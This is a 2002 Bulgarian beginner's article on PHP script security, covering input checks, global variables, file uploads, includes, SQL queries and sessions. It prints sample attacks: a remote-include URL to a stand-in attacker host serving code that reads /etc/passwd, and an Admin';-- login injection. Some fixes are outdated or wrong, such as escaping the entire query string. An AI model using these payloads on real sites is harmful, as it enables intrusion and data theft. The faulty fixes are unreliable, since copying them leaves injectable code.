ot Dimitur Dimitrov(11-02-2002)

reiting (10)   [ dobre ]  [ zle ]

Printer Friendly Variant za otpechatvane

Mnogo chesto chastta "sigurnost" se prenebregva pri skriptiraneto, no mislia, che
tova e edin ot nai-vazhnite momenti pri pisaneto na edin skript.
Tazi statiia e predimno za nachinaeshtite php programisti (edva li bi mogla da iznenada s neshto po-opitnite), tia ne mozhe da pretendira za izcherpatelnost
ili pulnota, no mozhe da dade osnovni poznaniia za tova kak da pishem po-chist i zashtiten kod.

-------------------------------------------
0. Proverka na dannite.
Tazi preporuka e postavena pod "0", zashtoto tia e prosto zadulzhitelna, izpulnenieto bi
predotvratilo po-goliamata chast ot opitite za ataka.

VINAGI proveriavaite poletata, populvani ot potrebitelite.
Naprimer:
potrebitelsko ime - samo bukvi, tsifri i dolno tire
telefonen nomer: - samo tsifri.
if(preg_match("/^[a-zA-Z0-9_]{3,12}$/",$Username)){ //OK

-------------------------------------------
1. Atributut ACTION na tagut FORM
Nikoga ne zadavaite pulniia put, a otnositelniia.
Po tozi nachin formata vinagi shte se submitva kum fail ot vashiia survur.

<FORM METHOD="POST" ACTION="dir/test.php"> - pravilno
<FORM METHOD="POST" ACTION="http://server/dir/test.php"> - nepravilno

Ako iskate formata da se submitva kum tekushtiia fail (t.e. tozi koito ia sudurzha),
izpolzvaite tova:

<FORM METHOD="POST" ACTION="<?=$PHP_SELF;?>">
Predefiniranata promenliva $PHP_SELF sudurzha otnositelniia put na tekushtiia fail.

-------------------------------------------
2. Globalni promenlivi.
Nai-chesto izpolzvanite masivi ot programistite, v koito se sudurzhat stoinostite i imenata na globalnite
promenlivi sa:
$HTTP_POST_VARS - za izpratenite danni chrez POST metoda
$HTTP_GET_VARS - za izpratenite danni chrez GET metoda
$HTTP_SESSION_VARS - za definiranite sesiini promenlivi

Ako imame promenlivata test, izpratena primerno prez POST:
<INPUT TYPE=TEXT NAME="test" VALUE="value1">
i sushtata promenliva, izpratena prez GET:
http://server/script.php?test=value2
mozhem da razlichim dvete promenlivi po sledniia nachin:
test1=$HTTP_POST_VARS["test"] - stoinost=value1
test2=$HTTP_GET_VARS["test"] - stoinost=value2

Tochnoto opredeliane na tova ot koi ot tezi masivi e dadena promenliva bi predotvratilo ataki ot sorta:
<INPUT TYPE=HIDDEN NAME="UserType" VALUE="Moderator"> - POST
http://server/script.php?UserType=Moderator - GET

Reshenie: v nachaloto na php skripta opredeliaite promenlivite taka:
$test=$HTTP_POST_VARS["test"];
$Username=$HTTP_SESSION_VARS["Username"];

-------------------------------------------
3. Upload na failove

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="Userfile">
<INPUT TYPE="Upload">
</FORM>

Kogato pravite upload na fail, se predavat slednite dopulnitelni promenlivi:
$Userfile_size - razmer na faila
$Userfile_type - tip na faila - tekst, izobrazhenie...
$Userfile_name - deistvitelno ime na faila

Atakuvashtiia bi mogul da opita neshto takova:
http://server/upload.php?Userfile=/etc/passwd&Userfile_size=10240&Userfile_type=text/plain&Userfile_name=some_file.jpg

Reshenieto se svezhda do reshenieto na t.2 - Globalni promenlivi.
-------------------------------------------

4. Include na failove.
Programistut mozhe da ima nepriiatnosti, kogato vklyuchva failove po sledniia nachin:
<?php include($dir . "/script.php");?>
Neka tozi URL na faila, koito izpolzva gorniia kod za include da e: http://host/index.php

Eto kakvo bi probval atakuvashtiia:
Bi napravil edin fail, narechen script.php na sobstveniia si survur, sudurzhasht primerno sledniia kod:
<?php readfile("/etc/passwd");

Neka tozi URL na fail da e: http://attack_host/hack/script.php
Sledvashta stupka:
Podavane na "pravilnata" direktoriia:
http://host/index.php?dir=http://attack_host/hack/

Po tozi nachin shte bude vklyuchen failut ot http://attack_host/hack.

Reshenie: v /etc/php.ini zabranete izpolzvaneto na failove, vunshni za vashiia survur:
allow_url_fopen = Off
Zadaite "tvurdo" vuzmozhnite direktorii primerno v masiv taka:
$Dirs=array('dir1','dir2',...);
Posle proveriavaite dali promenlivata suvpada s niakoia ot masiva:
if(in_array($dir,$Dirs)){include($dir . "/script.php");}
else{exit();}

-------------------------------------------
5. Razglezhdane sudurzhanieto na direktoriia.
Ako niamate vuzmozhnost da zabranite razglezhdaneto na dadena direktoriia, napravete fail index.php:
<? header("Location: http://host/index.php"); ?>
Tova shte prenasochi atakuvashtiia kum nachalnata stranitsa.

-------------------------------------------
6. Razshireniia
Nikoga ne ostaviaite failove na survura si s razshireniia, razlichni ot ustanovenite za php.
CHest primer sa failovete za include:
/inc_dir/include.inc - greshno
/inc_dir/include.inc.php - pravilno
-------------------------------------------

7. Zaiavki kum bazi danni.
Tova e edna ot nai-chesto sreshtanite greshki, vinagi triabva da se proveriava zaiavkata.
Tui kato nai-chesto sreshtanata kombinatsiia e php + mysql, eto kak mozhe da stane tova:
$Query="SELECT Username FROM Users WHERE ...";
$Query=mysql_escape_string($Query);

Po tozi nachin vsichki potentsialno opasni simvoli kato - i / se "obezvrezhdat": / = //; - = /-
Eto edin primer za ataka:
Imame forma za vuvezhdane na ime (Username) i parola(Password).
Obiknoveno nachinut za proverka dali edin potrebitel e vuvel pravilno imeto si i parolata e sledniia:

SELECT ID,Username FROM Users WHERE UserName='$LoginUsername' and Password=PASSWORD('$LoginPassword')

Kogato se vurne tochno edin red, tova oznachava pravilno logvane.
Atakuvashtiia na bazata na predpolozheniia bi probval da vuvede v poleto za potrebitelsko ime slednoto:
Admin';--
poslednite dva znaka v mysql oznachavat komentar.
Zaiavkata se preobrazuva do slednoto:

SELECT ID,Username FROM Users WHERE UserName='Admin'; -- tova veche e komentar ->' and Password=PASSWORD('$LoginPassword')
Ideiata e iasna.
-------------------------------------------
8. Sesiini promenlivi.
Dobra ideia spored men e predvaneto na ID na sesiiata po GET metoda i registriraneto na sushtoto tova ID kato sesiina promenliva. Sled tova mozhete da napravite sravnenie mezhdu tezi dvete:
if($UserName and $HTTP_SESSION_VARS["SID"]==$HTTP_GET_VARS["SID"]){ //OK
-------------------------------------------

Nadiavam se, che statiiata e pomognala pone malko na niakoi, sushto taka se nadiavam, che tia ne e stanala prichina za "razbivaneto" na niakoi sait :).

Avtor: Dimitur Dimitrov, 11/2/2002
http://mitko.infotech.bg, mitko@stud.ru.acad.bg


<< Kak da ogranichim Dial-up po trafik kato izpolzvame ICRadius | Kak da gledame DVB-televiziia s "Budget"-karta i LIRC >>